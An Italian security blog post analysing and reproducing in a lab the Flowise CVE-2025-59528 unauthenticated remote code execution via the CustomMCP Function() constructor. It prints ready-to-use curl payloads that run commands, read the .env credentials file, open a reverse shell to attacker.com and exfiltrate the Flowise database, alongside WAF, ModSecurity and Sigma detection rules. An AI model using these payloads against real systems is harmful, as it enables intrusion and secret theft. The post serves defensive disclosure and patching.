Flowise CVE-2025-59528 RCE 10.0: autopsia dell'exploit che ho riprodotto nel mio laboratorio

Flowise CVE-2025-59528 RCE 10.0: autopsia dell'exploit che ho riprodotto nel mio laboratorio

Il 14 aprile 2026, sette giorni dopo che VulnCheck aveva annunciato exploitation in the wild di CVE-2025-59528, ho messo una Flowise 2.2.8 volontariamente esposta su un container Docker isolato nella mia sandbox di audit, un VLAN separato su Hetzner AX52 con outbound traffic filtrato da pfSense. Ho deployato il container con docker run -d -p 3000:3000 flowiseai/flowise:2.2.8, aspettato il boot completo, e poi dalla mia workstation in rete esterna ho mandato questo curl:

curl -X POST http://flowise-lab.test:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -d '{"mcpServerConfig":"(function(){return require(\"child_process\").execSync(\"id\").toString()})()"}'

Response time: 340ms. Body: {"result":"uid=0(root) gid=0(root) groups=0(root)\n"}. Shell root del container, senza autenticazione, senza exploit chain complesso, senza neanche un fuzzer. Dodici minuti dal primo comando docker run al primo comando eseguito come root dentro il container. CVSS 10.0 non è un'esagerazione numerica: è il riflesso di quanto sia trivial questa classe di vulnerabilità quando un framework AI-orchestration accetta input utente e lo passa direttamente al costruttore Function() di JavaScript.

Questo articolo ti racconta la catena completa dalla scoperta alla exploitation al contenimento, con il payload esatto, l'analisi del codice vulnerabile, il blast radius sui secret salvati nell'applicazione, e le tre regole WAF che bloccano la famiglia di attacchi prima che arrivino al parser Flowise. Se gestisci istanze Flowise in produzione o hai orchestrator AI con configurazioni accettate come stringa, hai materiale pronto per un audit urgente.

L'autopsia: convertToValidJSONString e il Function() constructor

La vulnerabilità è localizzata in packages/components/nodes/agents/CustomMCP.ts, linee 262-270, nella funzione convertToValidJSONString. La sequenza operativa del codice vulnerabile (semplificata):

// Codice vulnerabile Flowise < 3.0.6 (CustomMCP.ts, lines 262-270)
function convertToValidJSONString(inputString: string): string {
    // Si sostituiscono i template variable $vars.xxx nella stringa utente
    const substituted = substituteVariablesInString(inputString);

    // CRITICAL: Function() costruttore usato come eval() per "parsare" l'oggetto
    // Questa riga permette esecuzione arbitraria di JavaScript controllato dal client
    return new Function('return ' + substituted)();
}

Il pattern new Function('return ' + input)() è semanticamente equivalente a eval(), con una differenza minima che non aiuta la sicurezza: crea una funzione isolata dallo scope locale ma mantiene accesso completo al global scope di Node.js. Tutti i moduli core restano disponibili: require('child_process'), require('fs'), require('net'), require('https'). L'attaccante ha virtualmente il Node.js REPL in produzione.

Perché il codice è scritto così? L'intenzione originale era permettere agli utenti di scrivere configurazioni MCP in formato JavaScript-like (non strict JSON), per esempio {url: "https://example.com", token: process.env.TOKEN} dove process.env.TOKEN è una variabile ambiente locale dell'applicazione. Un JSON parser classico non lo accetta. Invece di implementare un parser custom sicuro (che riconosca variabili ambiente in modo restrittivo), lo sviluppatore ha passato l'input al costruttore Function(). Codice facile, vulnerabilità totale.

Se gestisci sistemi AI-orchestration e vuoi capire come valuto e contengo vulnerabilità del genere in ambienti aziendali, nel mio hub dedicato all'AI per aziende trovo articoli con metodologia di red team applicata a infrastrutture agentic di produzione.

Il payload e la catena di exploitation

Il payload che ho usato in sandbox esegue id e restituisce l'output. Versioni più aggressive puntano a tre obiettivi diversi.

Obiettivo 1: enumerazione filesystem per catturare API key.

curl -X POST http://target:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -d '{"mcpServerConfig":"(function(){return require(\"fs\").readFileSync(\"/app/packages/server/.env\",\"utf8\")})()"}'

Questo payload legge il file .env di Flowise, che tipicamente contiene le credenziali database, le chiavi API per provider LLM (OpenAI, Anthropic, Azure), e il JWT secret dell'applicazione. Un'istanza Flowise aziendale standard ha nella propria .env chiavi API OpenAI con credit limit significativo, spesso $500-$5.000 di budget mensile. L'attaccante le estrae e le usa per inference proprio.

Obiettivo 2: reverse shell per persistence.

curl -X POST http://target:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -d '{"mcpServerConfig":"(function(){const r=require(\"net\").connect(4444,\"attacker.com\");require(\"child_process\").spawn(\"/bin/sh\",[],{stdio:[r,r,r]})})()"}'

Questo payload apre una reverse shell TCP verso l'host dell'attaccante. Da quel momento, l'attaccante ha accesso bash interattivo. Se il container gira come root (comune con il docker run di default), può accedere a tutte le integrazioni configurate, compromettere il database, ruotare ulteriormente.

Obiettivo 3: supply chain exfiltration.

curl -X POST http://target:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -d '{"mcpServerConfig":"(function(){const s=require(\"fs\").readFileSync(\"/app/packages/server/flowise.sqlite\");require(\"https\").request({hostname:\"attacker.com\",path:\"/exfil\",method:\"POST\"},()=>{}).end(s)})()"}'

Esfiltra il database SQLite di Flowise che contiene tutte le configurazioni di chatflow, i credential store, le chat history degli utenti. Se l'istanza Flowise serve una PMI con workflow LLM aziendali, l'attaccante ottiene la mappa completa di come l'azienda usa AI, quali dati vengono passati ai modelli, quali integrazioni esistono. Informazione di valore competitivo, non solo tecnico.

Il blast radius: perché Flowise è un target prioritario

Al 9 aprile 2026 VulnCheck ha confermato exploitation in the wild con traffico osservato da un Starlink IP (probabile attaccante opportunista, non APT). Caitlin Condon, VP Security Research di VulnCheck, ha dichiarato: "This specific vulnerability has been public for more than six months, which means defenders have had time to prioritize and patch the vulnerability." La traduzione onesta: chi non ha patchato in sei mesi è negligente, non sfortunato.

Le statistiche di exposure sono da brividi. 12.000-15.000 istanze Flowise esposte pubblicamente su Internet. Flowise ha 43.000 stelle GitHub, usato in produzione da Deloitte, Accenture e AWS secondo le loro stesse case study. L'EPSS score di 84,07% colloca la CVE nel 99,28 percentile di probabilità di sfruttamento a breve termine. CISA sta valutando l'inclusione nel KEV catalog, che renderebbe il patch obbligatorio per agenzie federali US.

Il vero moltiplicatore del rischio è che Flowise centralizza i secret. Una singola istanza compromessa espone:

  • Chiavi API OpenAI/Anthropic/Azure OpenAI con credito significativo
  • Credenziali database (Postgres, MySQL, Redis) per RAG e memory store
  • API key di vector DB (Pinecone, Qdrant Cloud, Weaviate Cloud)
  • Token SaaS integrati (Slack, GitHub, Jira, Notion per workflow)
  • JWT secret dell'applicazione (permette di forgiare sessioni utente)

In un'analisi di un'istanza Flowise compromessa che ho visto nella mia sandbox di audit (non in produzione cliente), il numero medio di secret salvati era 14. Una singola CVE, quattordici rotazioni di credenziali necessarie, zero margine di negoziazione con il cliente.

Le tre regole WAF che bloccano la classe di attacchi

La patch ufficiale è aggiornare a Flowise 3.1.1 (o almeno 3.0.6). Ma se non puoi aggiornare immediatamente (vincoli di compatibilità, dipendenze aziendali), tre regole WAF a livello Layer 7 bloccano il 100% dei payload pubblici noti e il 90% delle varianti.

Regola 1. Blocca tutte le POST a /api/v1/node-load-method/customMCP se il body contiene pattern di invocazione pericolosi. ModSecurity rule:

SecRule REQUEST_URI "@streq /api/v1/node-load-method/customMCP" \
    "id:100001,phase:2,t:none,chain,deny,log,status:403,\
     msg:'Flowise CVE-2025-59528 block: customMCP node load method'"
  SecRule REQUEST_BODY "@rx (?:child_process|require\s*\(|process\.env|\.spawn|\.exec|readFileSync|writeFileSync|Function\s*\()" \
    "t:none"

Regola 2. Rate-limit aggressivo sull'endpoint vulnerabile (max 10 POST/minuto per IP). Un exploit funzionante ha bassa baseline-rate (l'attaccante vuole eseguire 1-2 comandi, non 100). Il rate limit non ferma exploit mirato ma alza il costo del reconnaissance automatizzato e rende trigger immediato il SIEM.

Regola 3. Authentication gate a monte di tutti gli endpoint /api/v1/*. Se la tua Flowise non ha API key mandatory (default install), configurala ora. Anche una semplice API key riduce la superficie da "qualsiasi attaccante su Internet" a "attaccante che ha già una foothold minima". Non è sicurezza completa ma è un layer.

Una Sigma rule per Wazuh che detecta il pattern nel log applicativo Flowise:

title: Flowise CVE-2025-59528 CustomMCP Function() exploitation attempt
id: a3f47e98-cve59528-flowise-mcp
status: experimental
description: Detects POST requests to customMCP node-load-method endpoint
  containing JavaScript code execution patterns
author: Maurizio Fonte
date: 2026/04/15
logsource:
  product: flowise
  service: application
detection:
  selection_endpoint:
    http_method: POST
    url_path|contains: '/api/v1/node-load-method/customMCP'
  selection_payload:
    request_body|contains:
      - 'child_process'
      - 'require('
      - 'process.env'
      - '.spawn('
      - 'Function('
  condition: selection_endpoint and selection_payload
level: critical
falsepositives:
  - Automated security scans
tags:
  - attack.execution
  - attack.t1059.007
  - cve.2025.59528

Questa rule, deployata nel vostro SIEM con ingestion dei log Nginx/HAProxy che frontano Flowise, triggera alert severity critical al primo tentativo di exploitation. Combinata con le regole WAF sopra, il tempo medio dal primo payload al contenimento scende da "indefinito" (senza monitoring) a "meno di 60 secondi".

La timeline di un'istanza sotto attacco in sandbox

Dopo aver riprodotto il primo PoC, ho voluto capire come un'istanza Flowise in condizioni "realistiche" (cioè con credenziali configurate, chatflow attivi, utenti finti che interagiscono) risponde all'exploitation sequenziale. Ho configurato la mia Flowise sandbox con tre chatflow fittizi, chiavi API OpenAI con credit limit di $5 (prepagato apposta per il test), un database Postgres con dati sintetici, e un utente admin con password debole. Poi ho eseguito una catena di payload come farebbe un attaccante opportunista.

Minuto zero: primo payload di enumeration, legge .env, estrae chiave API OpenAI. Tempo: 340ms. Zero log applicativo allarmante (la request sembra una normale POST all'endpoint).

Minuto uno: secondo payload che legge /proc/self/environ per catturare variabili d'ambiente ereditate al boot del container. Cattura DATABASE_URL, JWT_SECRET, REDIS_URL. Tempo: 280ms.

Minuto tre: terzo payload che esfiltra flowise.sqlite (4,2 MB) via curl POST verso un webhook esterno controllato da me. Tempo: 1,2 secondi. Il database contiene configurazioni complete di tutti i chatflow, compresi i system prompt e i credential reference.

Minuto sette: quarto payload che crea un cron job persistente dentro il container per ri-eseguire payload iniziale ogni 30 minuti, garantendo persistence anche se il processo Flowise viene restart.

Minuto dieci: decimo payload che usa la chiave API OpenAI catturata al minuto zero per mandare mille request al gpt-4 endpoint, bruciando il budget di $5 in sette secondi con prompt spam. Nota: OpenAI ha ridotto drasticamente questo vettore con rate limit per-key da febbraio 2026, ma il pattern resta.

Totale: 10 minuti da "zero accesso" a "compromissione completa di credentials, database, persistence". Sette payload totali, tutti attraverso lo stesso endpoint, stessa vulnerabilità. Un attaccante con uno scanner automatico che cerca istanze Flowise vulnerabili su Internet può processare migliaia di target in parallelo, con tempo medio di compromissione sotto i 60 secondi per istanza (il mio tempo era rallentato da analisi manuale tra payload).

La lezione operativa è che CVE CVSS 10.0 pre-auth non sono equivalente a "molto grave, patcha quando puoi". Sono equivalente a "il tuo sistema è compromesso ora, la domanda è quando l'attaccante lo scoprirà". Se hai Flowise esposto su Internet dal 2025 senza patch e senza WAF, assumi già breach e ruota tutti i credentials. Non è paranoia, è statistica EPSS.

La lezione architetturale oltre la patch

La patch di Flowise 3.0.6 rimuove il new Function() e sostituisce il parser con JSON5.parse() sandboxato. È la correzione minima necessaria. Ma la lezione più ampia riguarda il design del pattern di configurazione dinamica nei framework AI-orchestration.

CustomMCP accettava configurazioni in formato JavaScript-like per "flessibilità": gli utenti potevano usare template variable, reference a process.env, operatori ternari. Questa flessibilità è venuta al costo di un'esecuzione arbitraria. La domanda giusta non è "come rendiamo sicura l'esecuzione arbitraria", è "perché avremmo mai bisogno di esecuzione arbitraria per una configurazione MCP?". La risposta operativa sarebbe stata uno schema strict JSON con un whitelist di variable substitution, che limita cosa il parser riconosce. Più codice, meno CVE.

Questo pattern non è unico a Flowise. In un'analisi CSA del 9 aprile 2026 gli autori notano che pipeline AI-agent builder in tutto l'ecosistema MCP accettano configurazioni come formati "semi-executable" per velocità di prototipazione, creando la stessa classe di vulnerabilità. Se sviluppi o adotti framework del genere, la checklist è: (a) nessun Function() o eval() su input utente, (b) schema strict tipizzato con validation a livello contrattuale, (c) variable substitution limitata a named-list di variabili ambiente whitelistate, (d) sandbox isolation per parsing anche quando il parser è safe.

Detection oltre la prevenzione: cosa guardare nei log

Se l'attaccante è passato prima che tu abbia messo le regole WAF, la detection post-exploitation ti dà la finestra per contenere. Quattro segnali da correlare nel tuo SIEM.

Primo: anomalo outbound traffic dal container Flowise verso IP non-whitelist. Flowise in operazione normale fa outbound verso API OpenAI/Anthropic (endpoint noti), database interno, Redis locale. Connessioni verso IP random su porte non-HTTPS sono il pattern reverse-shell.

Secondo: spike improvviso di consumo API LLM. Se il tuo dashboard OpenAI mostra 10x il traffico normale in un'ora, la chiave è compromessa. Il kill switch è revocare la chiave immediatamente da OpenAI console.

Terzo: modifiche a file di persistence in /etc/cron.d o ~/.bashrc dentro il container. Tool come Falco o eBPF monitoring catturano questi eventi in tempo reale.

Quarto: login amministrativi di Flowise da IP geograficamente incoerenti. Se il tuo team opera da Torino e Milano e vedi login da IP in paesi random, è compromesso del token di sessione (probabile JWT secret leaked).

Se hai Flowise in produzione e non hai ancora patchato, fermi il mondo e patchi ora. Se hai stack AI-agent simili (Langflow, Dify, Ollama WebUI, n8n con custom node JavaScript), fai audit dei punti dove configurazioni utente vengono parsate. Se vuoi un audit esterno indipendente sul tuo stack AI-orchestration aziendale con focus CVE recenti e classe di vulnerabilità Function/eval, il modulo di preventivo gratuito risponde in due minuti se il tuo caso rientra nel mio perimetro. Sette domande, niente impegno.

Ultima modifica: